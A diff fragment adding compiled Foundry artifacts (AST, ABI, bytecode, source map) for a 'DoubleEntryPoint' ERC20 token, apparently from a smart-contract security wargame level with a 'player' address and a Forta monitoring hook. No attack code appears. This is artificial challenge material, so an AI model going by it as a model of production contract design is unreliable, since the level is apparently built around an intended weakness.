(address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/DoubleEntryPoint.json b/contracts/out/DoubleEntryPoint.sol/DoubleEntryPoint.json new file mode 100644 index 000000000..f363b6f66 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/DoubleEntryPoint.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"legacyToken","type":"address","internalType":"address"},{"name":"vaultAddress","type":"address","internalType":"address"},{"name":"fortaAddress","type":"address","internalType":"address"},{"name":"playerAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"cryptoVault","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"delegateTransfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"origSender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"delegatedFrom","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"forta","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Forta"}],"stateMutability":"view"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"player","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b50604051620013e6380380620013e6833981016040819052620000339162000284565b6040518060400160405280601581526020017f446f75626c65456e747279506f696e74546f6b656e00000000000000000000008152506040518060400160405280600381526020016211115560ea1b81525081600390816200009691906200037b565b506004620000a582826200037b565b505050620000c2620000bc6200012960201b60201c565b6200012d565b600880546001600160a01b038087166001600160a01b03199283161790925560098054858416908316179055600780548484169083161790556006805492861692909116821790556200011f9068056bc75e2d631000006200017e565b505050506200046d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001d95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001ec919062000447565b90915550506001600160a01b0382165f90815260208190526040812080548392906200021a90849062000447565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b80516001600160a01b03811681146200027f575f80fd5b919050565b5f805f806080858703121562000298575f80fd5b620002a38562000268565b9350620002b36020860162000268565b9250620002c36040860162000268565b9150620002d36060860162000268565b905092959194509250565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030757607f821691505b6020821081036200032657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026357805f5260205f20601f840160051c81016020851015620003535750805b601f840160051c820191505b8181101562000374575f81556001016200035f565b5050505050565b81516001600160401b03811115620003975762000397620002de565b620003af81620003a88454620002f2565b846200032c565b602080601f831160018114620003e5575f8415620003cd5750858301515b5f19600386901b1c1916600185901b1785556200043f565b5f85815260208120601f198616915b828110156200041557888601518255948401946001909101908401620003f4565b50858210156200043357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200046757634e487b7160e01b5f52601160045260245ffd5b92915050565b610f6b806200047b5f395ff3fe608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610ea6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e91815260200190565b60405180910390a3610a30565b6005546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161048c565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f602080835283518060208501525f5b81811015610d3a57858101830151858201604001528201610d1e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461084c575f80fd5b5f8060408385031215610d7f575f80fd5b8235610d8a81610d5a565b946020939093013593505050565b5f805f60608486031215610daa575f80fd5b8335610db581610d5a565b92506020840135610dc581610d5a565b929592945050506040919091013590565b5f60208284031215610de6575f80fd5b8135610df181610d5a565b9392505050565b5f805f60608486031215610e0a575f80fd5b8335610e1581610d5a565b9250602084013591506040840135610e2c81610d5a565b809150509250925092565b5f8060408385031215610e48575f80fd5b8235610e5381610d5a565b91506020830135610e6381610d5a565b809150509250929050565b600181811c90821680610e8257607f821691505b602082108103610ea057634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156103ab57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610ed5575f80fd5b8151610df181610d5a565b5f60208284031215610ef0575f80fd5b5051919050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea26469706673582212202f75fc0f92bf3432056d019fa2a6372c4f9af5d411bdc0f55ec08ce180024a0b64736f6c63430008180033","sourceMap":"2552:1365:71:-:0;;;2767:288;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1978:113:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1978:113:30;;;2052:5;2044;:13;;;;;;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;;1978:113;;936:32:23;955:12;:10;;;:12;;:::i;:::-;936:18;:32::i;:::-;2877:13:71;:27;;-1:-1:-1;;;;;2877:27:71;;;-1:-1:-1;;;;;;2877:27:71;;;;;;;2914:5;:27;;;;;;;;;;;2951:6;:22;;;;;;;;;;;2983:11;:26;;;;;;;;;;;;;3019:29;;3038:9;3019:5;:29::i;:::-;2767:288;;;;2552:1365;;640:96:34;719:10;;640:96::o;2433:187:23:-;2525:6;;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;;2573:40;;2525:6;;;2541:17;2525:6;;2573:40;;2506:16;;2573:40;2496:124;2433:187;:::o;8402:389:30:-;-1:-1:-1;;;;;8485:21:30;;8477:65;;;;-1:-1:-1;;;8477:65:30;;3554:2:155;8477:65:30;;;3536:21:155;3593:2;3573:18;;;3566:30;3632:33;3612:18;;;3605:61;3683:18;;8477:65:30;;;;;;;;8629:6;8613:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8645:18:30;;:9;:18;;;;;;;;;;:28;;8667:6;;8645:9;:28;;8667:6;;8645:28;:::i;:::-;;;;-1:-1:-1;;8688:37:30;;4085:25:155;;;-1:-1:-1;;;;;8688:37:30;;;8705:1;;8688:37;;4073:2:155;4058:18;8688:37:30;;;;;;;8402:389;;:::o;11786:121::-;;;;:::o;14:177:155:-;93:13;;-1:-1:-1;;;;;135:31:155;;125:42;;115:70;;181:1;178;171:12;115:70;14:177;;;:::o;196:464::-;293:6;301;309;317;370:3;358:9;349:7;345:23;341:33;338:53;;;387:1;384;377:12;338:53;410:40;440:9;410:40;:::i;:::-;400:50;;469:49;514:2;503:9;499:18;469:49;:::i;:::-;459:59;;537:49;582:2;571:9;567:18;537:49;:::i;:::-;527:59;;605:49;650:2;639:9;635:18;605:49;:::i;:::-;595:59;;196:464;;;;;;;:::o;665:127::-;726:10;721:3;717:20;714:1;707:31;757:4;754:1;747:15;781:4;778:1;771:15;797:380;876:1;872:12;;;;919;;;940:61;;994:4;986:6;982:17;972:27;;940:61;1047:2;1039:6;1036:14;1016:18;1013:38;1010:161;;1093:10;1088:3;1084:20;1081:1;1074:31;1128:4;1125:1;1118:15;1156:4;1153:1;1146:15;1010:161;;797:380;;;:::o;1308:518::-;1410:2;1405:3;1402:11;1399:421;;;1446:5;1443:1;1436:16;1490:4;1487:1;1477:18;1560:2;1548:10;1544:19;1541:1;1537:27;1531:4;1527:38;1596:4;1584:10;1581:20;1578:47;;;-1:-1:-1;1619:4:155;1578:47;1674:2;1669:3;1665:12;1662:1;1658:20;1652:4;1648:31;1638:41;;1729:81;1747:2;1740:5;1737:13;1729:81;;;1806:1;1792:16;;1773:1;1762:13;1729:81;;;1733:3;;1308:518;;;:::o;2002:1345::-;2122:10;;-1:-1:-1;;;;;2144:30:155;;2141:56;;;2177:18;;:::i;:::-;2206:97;2296:6;2256:38;2288:4;2282:11;2256:38;:::i;:::-;2250:4;2206:97;:::i;:::-;2358:4;;2415:2;2404:14;;2432:1;2427:663;;;;3134:1;3151:6;3148:89;;;-1:-1:-1;3203:19:155;;;3197:26;3148:89;-1:-1:-1;;1959:1:155;1955:11;;;1951:24;1947:29;1937:40;1983:1;1979:11;;;1934:57;3250:81;;2397:944;;2427:663;1255:1;1248:14;;;1292:4;1279:18;;-1:-1:-1;;2463:20:155;;;2581:236;2595:7;2592:1;2589:14;2581:236;;;2684:19;;;2678:26;2663:42;;2776:27;;;;2744:1;2732:14;;;;2611:19;;2581:236;;;2585:3;2845:6;2836:7;2833:19;2830:201;;;2906:19;;;2900:26;-1:-1:-1;;2989:1:155;2985:14;;;3001:3;2981:24;2977:37;2973:42;2958:58;2943:74;;2830:201;;;3077:1;3068:6;3065:1;3061:14;3057:22;3051:4;3044:36;2397:944;;;;;2002:1345;;:::o;3712:222::-;3777:9;;;3798:10;;;3795:133;;;3850:10;3845:3;3841:20;3838:1;3831:31;3885:4;3882:1;3875:15;3913:4;3910:1;3903:15;3795:133;3712:222;;;;:::o;3939:177::-;2552:1365:71;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610ea6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e91815260200190565b60405180910390a3610a30565b6005546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161048c565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f602080835283518060208501525f5b81811015610d3a57858101830151858201604001528201610d1e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461084c575f80fd5b5f8060408385031215610d7f575f80fd5b8235610d8a81610d5a565b946020939093013593505050565b5f805f60608486031215610daa575f80fd5b8335610db581610d5a565b92506020840135610dc581610d5a565b929592945050506040919091013590565b5f60208284031215610de6575f80fd5b8135610df181610d5a565b9392505050565b5f805f60608486031215610e0a575f80fd5b8335610e1581610d5a565b9250602084013591506040840135610e2c81610d5a565b809150509250925092565b5f8060408385031215610e48575f80fd5b8235610e5381610d5a565b91506020830135610e6381610d5a565b809150509250929050565b600181811c90821680610e8257607f821691505b602082108103610ea057634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156103ab57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610ed5575f80fd5b8151610df181610d5a565b5f60208284031215610ef0575f80fd5b5051919050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea26469706673582212202f75fc0f9